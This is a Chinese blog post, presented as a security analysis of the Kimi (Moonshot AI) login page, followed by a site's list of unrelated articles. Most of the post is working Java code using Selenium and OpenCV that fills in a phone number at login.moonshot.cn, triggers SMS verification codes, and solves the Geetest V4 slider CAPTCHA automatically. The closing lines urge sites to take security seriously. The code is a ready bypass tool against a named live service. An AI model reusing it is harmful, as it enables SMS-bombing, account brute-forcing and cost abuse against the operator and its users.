【月之暗面kimi-注册/登录安全分析报告】

前言
由于网站注册入口容易被黑客攻击，存在如下安全问题：

  1. 暴力破解密码，造成用户信息泄露
  2. 短信盗刷的安全问题，影响业务及导致用户投诉
  3. 带来经济损失，尤其是后付费客户，风险巨大，造成亏损无底洞
    在这里插入图片描述

所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案， 但在机器学习能力提高的当下，连百度这样的大厂都遭受攻击导致点名批评， 图形验证及交互验证方式的安全性到底如何？ 请看具体分析

一、 月之暗面kimi PC端注册入口

简介：Kimi是北京月之暗面科技有限公司于2023年10月9日推出的一款智能助手，主要应用场景为专业学术论文的翻译和理解、辅助分析法律问题、快速理解API开发文档等，是全球首个支持输入20万汉字的智能助手产品。 Kimi在二级市场一度复现了ChatGPT“带货能力”的势头，引发了一众“Kimi概念股”狂飙猛涨。
2024年3月18日，Kimi智能助手启动200万字无损上下文内测。 3月21日，Kimi因流量突然剧增无法正常使用。 2024年4月18日，月之暗面官宣旗下Kimi智能助手更新。 4月24日，月之暗面宣布Kimi大模型学会“使用工具”了，API已支持Tool Calling功能。 5月，Kimi推出付费打赏功能，开始试探C端付费意愿。 10月，月之暗面正式上线具备AI自主搜索能力的Kimi探索版，搜索量是普通版的10倍，一次搜索即可精读500个页面。

在这里插入图片描述

二、 安全性分析报告：

采用极验的V4版本，容易被模拟器绕过甚至逆向后暴力攻击，滑动拼图识别率在 95% 以上。

在这里插入图片描述

三、 测试方法：

前端界面分析，版本号为4.0，这就好办了， 网上有大量现成的逆向文章及视频参考，不过我们这次不用逆向， 只是采用模拟器的方式，关键点主要模拟器交互、距离识别和轨道算法3部分
极验4代滑块验证码破解（补环境直接强暴式拿下）
https://blog.csdn.net/qq_41866988/article/details/132020587
在这里插入图片描述

  1. 模拟器交互部分
private GeetClient geetClient = new GeetClient(this.getClass().getSimpleName(), 128, 256);private final String INDEX_URL = "https://login.moonshot.cn/?source=https%3A%2F%2Fplatform.moonshot.cn%2Fredirect&appid=dev-workbench";@Overridepublic RetEntity send(WebDriver driver, String areaCode, String phone) {try {RetEntity retEntity = new RetEntity();driver.get(INDEX_URL);Thread.sleep(200);WebElement findElement = ChromeDriverManager.waitElement(driver, By.xpath("//button[contains(text(),'手机快捷登录')]"), 10);findElement.click();// 输入手机号WebElement phoneElemet = ChromeDriverManager.waitElement(driver, By.id("phone"), 500);phoneElemet.sendKeys(phone);// agreeWebElement agreeElement = driver.findElement(By.xpath("//span[@data-testid='msh-phonelogin-agree-checkbox']"));agreeElement.click();// 获取滑动按钮WebElement getCodeElemet = ChromeDriverManager.waitElement(driver, By.xpath("//span[contains(text(),'发送验证码')]"), 1);getCodeElemet.click();Thread.sleep(1000);boolean isRobot = true;boolean result = (isRobot) ? geetClient.moveV4(driver, 852, 657) : geetClient.moveV4(driver);if (!result) {return retEntity;}Thread.sleep(2000);// send-verify-codeWebElement resendElement = driver.findElement(By.xpath("//button[@data-testid='send-verify-code']"));String msg = (result) ? resendElement.getText() : null;if (msg != null && msg.contains("s")) {retEntity.setMsg(msg);retEntity.setRet(0);}return retEntity;} catch (Exception e) {System.out.println("send() " + e.toString());StringBuffer er = new StringBuffer("send() " + e.toString() + "\n");for (StackTraceElement elment : e.getStackTrace())er.append(elment.toString() + "\n");System.out.println(er.toString());return null;} finally {driver.manage().deleteAllCookies();}}

2. 距离识别

/*** Open Cv 图片模板匹配* * @param tpPath*            模板图片路径* @param bgPath*            目标图片路径* @return { width, maxX }*/public Map<String, Double> getWidth(String tpPath, String bgPath, String resultFile) {try {Map<String, Integer> hlMap = new HashMap<String, Integer>();Rect rectCrop = clearWhite(tpPath, hlMap);Mat g_tem = Imgcodecs.imread(tpPath);Mat clearMat = g_tem.submat(rectCrop);Mat cvt = new Mat();Imgproc.cvtColor(clearMat, cvt, Imgproc.COLOR_RGB2GRAY);Mat edgesSlide = new Mat();Imgproc.Canny(cvt, edgesSlide, threshold1, threshold2);Mat cvtSlide = new Mat();Imgproc.cvtColor(edgesSlide, cvtSlide, Imgproc.COLOR_GRAY2RGB);Imgcodecs.imwrite(tpPath, cvtSlide);Mat bgOrign = Imgcodecs.imread(bgPath);// 当滑块的高度和背景图高度一致才做截取boolean isSub = (bgOrign.rows() == hlMap.get("rows"));Mat bgMat = bgOrign;if (isSub) {int minY = hlMap.get("minY");int maxY = hlMap.get("maxY");int rowStart = minY >= 2 ? minY - 2 : minY;int rowEnd = bgOrign.rows() - maxY >= 2 ? maxY + 2 : maxY;bgMat = bgOrign.submat(rowStart, rowEnd, 0, bgOrign.cols());}Mat edgesBg = new Mat();Imgproc.Canny(bgMat, edgesBg, threshold1, threshold2);Mat cvtBg = new Mat();Imgproc.cvtColor(edgesBg, cvtBg, Imgproc.COLOR_GRAY2RGB);int result_rows = cvtBg.rows() - cvtSlide.rows() + 1;int result_cols = cvtBg.cols() - cvtSlide.cols() + 1;Mat g_result = new Mat(result_rows, result_cols, CvType.CV_32FC1);Imgproc.matchTemplate(cvtBg, cvtSlide, g_result, Imgproc.TM_CCOEFF_NORMED); // 归一化平方差匹配法// 归一化相关匹配法MinMaxLocResult minMaxLoc = Core.minMaxLoc(g_result);Point maxLoc = minMaxLoc.maxLoc;Imgproc.rectangle(cvtBg, maxLoc, new Point(maxLoc.x + cvtSlide.cols(), maxLoc.y + cvtSlide.rows()), new Scalar(0, 0, 255), 1);Imgcodecs.imwrite(resultFile, cvtBg);Map<String, Double> paramMap = new HashMap<String, Double>();paramMap.put("tpWidth", g_tem.cols() * 1.0);paramMap.put("bigWidth", cvtBg.cols() * 1.0);paramMap.put("width", cvtSlide.cols() * 1.0);paramMap.put("minX", maxLoc.x);paramMap.put("maxX", maxLoc.x + cvtSlide.cols());System.out.println("OpenCv2.getWidth() " + paramMap.toString());return paramMap;} catch (Throwable e) {System.out.println("getWidth() " + e.toString());logger.error("getWidth() " + e.toString());for (StackTraceElement elment : e.getStackTrace()) {logger.error(elment.toString());}return null;}}public Rect clearWhite(String smallPath, Map<String, Integer> hlMap) {try {Mat matrix = Imgcodecs.imread(smallPath);int rows = matrix.rows();// height -> yint cols = matrix.cols();// width -> xhlMap.put("rows", rows);hlMap.put("cols", cols);Double rgb;double[] arr;int minX = 255;int minY = 255;int maxX = 0;int maxY = 0;Color c;for (int x = 0; x < cols; x++) {for (int y = 0; y < rows; y++) {arr = matrix.get(y, x);rgb = 0.00;for (int i = 0; i < 3; i++) {rgb += arr[i];}c = new Color(rgb.intValue());int b = c.getBlue();int r = c.getRed();int g = c.getGreen();int sum = r + g + b;if (sum >= 5) {if (x <= minX)minX = x;else if (x >= maxX)maxX = x;if (y <= minY)minY = y;else if (y >= maxY)maxY = y;}}}int boder = 1;if (boder > 0) {minX = (minX > boder) ? minX - boder : 0;maxX = (maxX + boder < cols) ? maxX + boder : cols;minY = (minY > boder) ? minY - boder : 0;maxY = (maxY + boder < rows) ? maxY + boder : rows;}int width = (maxX - minX);int height = (maxY - minY);hlMap.put("minY", minY);hlMap.put("maxY", maxY);System.out.println("openCv2.clearWhite() [" + rows + ", " + cols + "],minX=" + minX + ",minY=" + minY + ",maxX=" + maxX + ",maxY=" + maxY + "->width=" + width + ",height=" + height);Rect rectCrop = new Rect(minX, minY, width, height);return rectCrop;} catch (Throwable e) {StringBuffer er = new StringBuffer("clearWrite() " + e.toString() + "\n");for (StackTraceElement elment : e.getStackTrace()) {er.append(elment.toString() + "\n");}logger.error(er.toString());System.out.println(er.toString());return null;}}
  1. 轨道生成及移动算法
/*** class='geetest_bg_a30707f4 geetest_bg'* * @param driver* @param offSet* @return*/public boolean moveV4(WebDriver driver, Integer startX, Integer startY) {File bigFile = null, smllFile = null;try {long t = System.currentTimeMillis();String path = dataPath + "/" + spCode + "/";WebElement tipsElement = driver.findElement(By.className("geetest_text_tips"));String tips = (tipsElement != null) ? tipsElement.getText() : null;System.out.println("tips=" + tips);// 获取背景图List<WebElement> urlElements = driver.findElements(By.xpath("//div[contains(@style,'background-image')]"));int index = (urlElements.size() >= 4) ? 2 : 0;// 小图smllFile = new File(path + t + "_small.png");byte[] smallBytes = getImgByBackGround(urlElements.get(index), smllFile);File tpFile = new File(path + t + "_t.png");FileUtils.writeByteArrayToFile(tpFile, smallBytes);// 大图bigFile = new File(path + t + "_bg.png");byte[] bigBytes = getImgByBackGround(urlElements.get(index + 1), bigFile);String ckSum = GenChecksumUtil.genChecksum(bigBytes);String resultFile = path + t + "_o.png";// 计算距离Map<String, Double> outMap = cv2.getWidth(tpFile.getAbsolutePath(), bigFile.getAbsolutePath(), resultFile);if (outMap == null || outMap.size() < 2) {System.out.println("getMoveDistance() ,outMap=" + outMap);return false;}// 计算匹配到的位置Double tpWidth = outMap.get("tpWidth");Double width = outMap.get("width");Double leftD = (tpWidth - width) / 2.0;BigDecimal openDistanceD = new BigDecimal(outMap.get("minX") - leftD).setScale(0, BigDecimal.ROUND_HALF_UP);int distance = openDistanceD.intValue();if (distance <= 0) {System.out.println("getMoveDistance() ,outMap=" + outMap + "->" + distance);return false;}System.out.println(tpWidth + "-" + width + "->leftD=" + leftD + ",distance=" + distance);if (startX != null && startY != null) {RobotMove.move(startX, startY, distance);} else {By sliedBy = By.xpath("//div[contains(@class,'geetest_btn')]");List<WebElement> sliedElements = driver.findElements(sliedBy);System.out.println("size=" + sliedElements.size());boolean displayed;for (WebElement web : sliedElements) {displayed = web.isDisplayed();System.out.println("displayed=" + displayed + "->" + web.getAttribute("class"));if (displayed) {ActionMove.move(driver, web, distance);break;}}}// 滑动结果WebElement infoElement = ChromeDriverManager.getInstance().waitForLoad(By.className("geetest_result_tips"), 1);String gtInfo = (infoElement != null) ? infoElement.getAttribute("innerText") : null;if (gtInfo != null) {System.out.println("gtInfo=" + gtInfo);if (gtInfo.contains("速度超过") || gtInfo.contains("通过验证")) {return true;}}return false;} catch (Exception e) {logger.error(e.toString());return false;}}private byte[] getImgByBackGround(WebElement urlElement, File bFile) throws Exception {String cssValue = (urlElement != null) ? urlElement.getCssValue("background-image") : null;String bgUrl = (cssValue != null && cssValue.contains("\"")) ? cssValue.split("\"")[1] : null;if (bgUrl == null || !bgUrl.startsWith("http")) {System.out.println("bgUrl=" + bgUrl);return null;}FileUtils.copyURLToFile(new URL(bgUrl), bFile);byte[] bigBytes = FileUtils.readFileToByteArray(bFile);return bigBytes;}
  1. OpenCv 轮廓匹配测试样例：
    在这里插入图片描述

四丶结语

月之暗面最近完成了一轮超过10亿美金（折合人民币约71.9亿元）的融资，投资方包括红杉中国、小红书、美团和阿里。
这一轮融资使月之暗面的估值达到了约25亿美金（折合人民币约179.9亿元），成为国内大模型领域的头部企业之一。作为拥有最强实力AI大模型的科技企业， 采用的却是通俗的滑动验证产品， 该产品稳定并且市场占有率很高， 在一定程度上提高了用户体验， 但安全性在机器学习的今天， 已经无法应对攻击了，并且正是由于该产品通俗， 所以在网上破解的文章和教学视频也是大量存在，并且经过验证滑动产品很容易被破解， 所以除了滑动验证方式， 花样百出的产品层出不穷，但本质就是牺牲用户体验来提高安全。

很多人在短信服务刚开始建设的阶段，可能不会在安全方面考虑太多，理由有很多。
比如：“ 需求这么赶，当然是先实现功能啊 ”，“ 业务量很小啦，系统就这么点人用，不怕的 ” ， “ 我们怎么会被盯上呢，不可能的 ”等等。

有一些理由虽然有道理，但是该来的总是会来的。前期欠下来的债，总是要还的。越早还，问题就越小，损失就越低。

所以大家在安全方面还是要重视。（血淋淋的栗子！）#安全短信#

戳这里→康康你手机号在过多少网站注册过！！！

谷歌图形验证码在AI 面前已经形同虚设，所以谷歌宣布退出验证码服务， 那么当所有的图形验证码都被破解时，大家又该如何做好防御呢？

>>相关阅读
《腾讯防水墙滑动拼图验证码》
《百度旋转图片验证码》
《网易易盾滑动拼图验证码》
《顶象区域面积点选验证码》
《顶象滑动拼图验证码》
《极验滑动拼图验证码》
《使用深度学习来破解 captcha 验证码》
《验证码终结者-基于CNN+BLSTM+CTC的训练部署套件》

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.xdnf.cn/news/10289.html

如若内容造成侵权/违法违规/事实不符，请联系一条长河网进行投诉反馈，一经查实，立即删除！

相关文章

架构师备考-概念背诵（软件工程）

架构师备考-概念背诵（软件工程）

软件工程 软件开发生命周期： 软件定义时期：包括可行性研究和详细需求分析过程，任务是确定软件开发工程必须完成的总目标，具体可分成问题定义、可行性研究、需求分析等。软件开发时期：就是软件的设计与实现，可分成概要设计、详细设计、编码、测试等。软件运行和维护：就是…
阅读更多...
[FBCTF 2019]rceservice 详细题解

[FBCTF 2019]rceservice 详细题解

知识点: json字符串 PHP正则表达式元字符 PCRE回溯机制绕过正则表达式 %0a 换行符绕过正则表达式(详细讲解) 提示 Enter command as JSON 题目还有一个附件,打开是index.php文件源码 <?php putenv(PATH/home/rceservice/jail); if (isset($_REQUEST[cmd])) {$json $_…
阅读更多...
【竞技宝】DOTA2-梦幻联赛S24：圣剑美杜莎强拆基地终结比赛

【竞技宝】DOTA2-梦幻联赛S24：圣剑美杜莎强拆基地终结比赛

北京时间11月9日,DOTA2的梦幻联赛S24继续进行。本日迎来第二阶段的B组二、三名加赛PARI对阵spirit。本场比赛双方前两局战至1-1平,决胜局同样是难分胜负打到了六十分钟之后,关键时刻spirit主动出击,圣剑美杜莎强拆基地成功一波结束比赛,最终spirit让一追二击败PARI。以下是本场…
阅读更多...
计算机的错误计算（一百四十九）

计算机的错误计算（一百四十九）

摘要 探讨 MATLAB 中 的计算精度问题。当 为含有小数的大数或整数附近数时&#xff0c;输出会有错误数字。 例1. 已知 计算 直接贴图吧&#xff1a; 另外&#xff0c;16位的正确值分别为 0.6374239897486897e0、-0.6613118653236519e0、0.3769911184298822e-5 与…
阅读更多...
力扣 多数元素

力扣 多数元素

用了排序跟抵消。 题目 由题可知&#xff0c;多数元素是指在数组中出现次数大于一半的元素&#xff0c;且总是存在多数元素。不难想到&#xff0c;把数组排序后&#xff0c;这个数组的中间数一定是这个要找的元素。 用了sort排序&#xff0c;时间复杂度O&#xff08;nlogn&am…
阅读更多...
Oracle OCP认证考试考点详解082系列11

Oracle OCP认证考试考点详解082系列11

题记&#xff1a; 本系列主要讲解Oracle OCP认证考试考点&#xff08;题目&#xff09;&#xff0c;适用于19C/21C,跟着学OCP考试必过。 51. 第51题&#xff1a; 题目 51.View the Exhibit and examine the description of the tables You execute this SQL statement Whi…
阅读更多...
前端小知识：如何理解这个新特性 ?= 运算符

前端小知识：如何理解这个新特性 ?= 运算符

在日常的JavaScript开发中&#xff0c;我们经常会处理一些异步任务&#xff0c;避免代码出错&#xff0c;这时候常见的工具就是 try-catch 块和 async-await 语法。这些工具虽好&#xff0c;但当我们代码量一多&#xff0c;整个代码结构可能会显得很臃肿&#xff0c;阅读起来也…
阅读更多...
Redhat切换其他源

Redhat切换其他源

1. 效果图 2. 安装 RPM 包的命令 rpm -ivh --nodeps --force epel-release-latest-8.noarch.rpm rpm -ivh --nodeps --force yum-4.7.0-4.el8.noarch.rpm rpm -ivh --nodeps --force yum-utils-4.0.21-3.el8.noarch.rpm 3. 修改默认源 vi /etc/yum.repos.d/redhat.repo[BaseO…
阅读更多...
如何使用OpenCV和Python进行相机校准

如何使用OpenCV和Python进行相机校准

《------往期经典推荐------》 一、AI应用软件开发实战专栏【链接】 项目名称项目名称1.【人脸识别与管理系统开发】2.【车牌识别与自动收费管理系统开发】3.【手势识别系统开发】4.【人脸面部活体检测系统开发】5.【图片风格快速迁移软件开发】6.【人脸表表情识别系统】7.【…
阅读更多...
「Mac畅玩鸿蒙与硬件32」UI互动应用篇9 - 番茄钟倒计时应用

「Mac畅玩鸿蒙与硬件32」UI互动应用篇9 - 番茄钟倒计时应用

本篇将带你实现一个番茄钟倒计时应用&#xff0c;用户可以设置专注时间和休息时间的时长&#xff0c;点击“开始专注”或“开始休息”按钮启动计时&#xff0c;应用会在倒计时结束时进行提醒。番茄钟应用对于管理时间、提升工作效率非常有帮助&#xff0c;并且还会加入猫咪图片…
阅读更多...
Qt/C++ 海康SDK开发示例Demo

Qt/C++ 海康SDK开发示例Demo

*** 工业相机在机器视觉中起到关键作用&#xff0c;本文基于海康 SDK 详细解读了设备连接与控制的各个步骤。内容涵盖设备枚举、句柄创建、图像采集回调以及设备异常处理&#xff0c;帮助开发者快速理解如何通过代码控制相机&#xff0c;实时采集并处理图像数据。*** 1. 搜索并…
阅读更多...
探索 Python 的新边疆：sh 库的革命性功能

探索 Python 的新边疆：sh 库的革命性功能

文章目录 **探索 Python 的新边疆&#xff1a;sh 库的革命性功能**第一部分&#xff1a;背景介绍第二部分&#xff1a;sh 库是什么&#xff1f;第三部分&#xff1a;如何安装 sh 库&#xff1f;第四部分&#xff1a;简单库函数使用方法1. 执行 ls 命令2. 使用 grep 搜索文件内容…
阅读更多...
深度学习——前向传播与反向传播、神经网络（前馈神经网络与反馈神经网络）、常见算法概要汇总

深度学习——前向传播与反向传播、神经网络（前馈神经网络与反馈神经网络）、常见算法概要汇总

文章目录 &#x1f33a;深度学习面试八股汇总&#x1f33a;前向传播与反向传播前向传播&#xff08;Forward Propagation&#xff09;反向传播&#xff08;Back Propagation&#xff09;总结 神经网络简介结构类型前馈神经网络&#xff08;Feedforward Neural Network, FFNN&am…
阅读更多...
MySQL 中的索引下推功能

MySQL 中的索引下推功能

看到索引&#xff0c;应该大家都可以联想到这个是和查询效率有关系的&#xff0c;既然有这个功能&#xff0c;那么那句古话说的好啊&#xff1a;存在即合理。那么这个就是说有了这个功能&#xff0c;可以提升查询效率。 什么是索引下推 我们先有一个大概的理解&#xff1a;在…
阅读更多...
#渗透测试#SRC漏洞挖掘# 操作系统-Linux系统之基本命令、资源耗尽脚本编写

#渗透测试#SRC漏洞挖掘# 操作系统-Linux系统之基本命令、资源耗尽脚本编写

免责声明 本教程仅为合法的教学目的而准备&#xff0c;严禁用于任何形式的违法犯罪活动及其他商业行为&#xff0c;在使用本教程前&#xff0c;您应确保该行为符合当地的法律法规&#xff0c;继续阅读即表示您需自行承担所有操作的后果&#xff0c;如有异议&#xff0c;请立即停…
阅读更多...
软考中级 软件设计师 上午考试内容笔记（个人向）Part.1

软考中级 软件设计师 上午考试内容笔记（个人向）Part.1

软考上午考试内容 1. 计算机系统 计算机硬件通过高/低电平来模拟1/0信息&#xff1b;【p进制】&#xff1a; K n K n − 1 . . . K 2 K 1 K 0 K − 1 K − 2... K − m K n r n . . . K 1 r 1 K 0 r 0 K − 1 r − 1 . . . K − m r − m K_nK_{n-1}...K_2K_1K_0K…
阅读更多...
IDA*算法 Power Calculus————poj 3134

IDA*算法 Power Calculus————poj 3134

目录 闲聊 前言 DFS算法的无效搜索 BFS算法的空间浪费 IDDFS A*算法 IDA* Power Calculus 问题描述 输入 输出 问题分析 代码 闲聊 前几周在忙着数学竞赛&#xff0c;所以就没时间更新&#xff0c;高等数学&#xff0c;一生之敌&#xff0c;真不知道报名的时候我是怎么想…
阅读更多...
基于python深度学习技术矩阵分解的推荐系统，通过学习隐含特征，实现推荐

基于python深度学习技术矩阵分解的推荐系统，通过学习隐含特征，实现推荐

实现了一个基于矩阵分解的推荐系统&#xff0c;用于预测用户对电影的评分。具体来说&#xff0c;该程序通过TensorFlow构建和训练一个模型&#xff0c;来学习用户和电影之间的隐含特征&#xff0c;并根据这些特征预测评分。以下是代码的主要功能和步骤的详细描述&#xff1a; …
阅读更多...
C++高级编程（8）

C++高级编程（8）

八、标准IO库 1.输入输出流类 1)非格式化输入输出 2)put #include <iostream> #include <string> ​ using namespace std; int main() {string str "123456789";for (int i str.length() - 1; i > 0; i--) {cout.put(str[i]); //从最后一个字符开…
阅读更多...
EMC Plus：大电流注入传导抗扰度

EMC Plus：大电流注入传导抗扰度

大电流注入 &#xff08;BCI&#xff09; 是一种传导射频抗扰度测试&#xff0c;利用电流注入探头将调制信号引入电缆。其目的是复制设备运行环境中预期的电磁干扰 &#xff08;EMI&#xff09; 条件。在这里&#xff0c;我将为您提供一个使用 Ansys EMC Plus 进行大电流注入传…
阅读更多...
最新文章

Copyright @ 2022~2023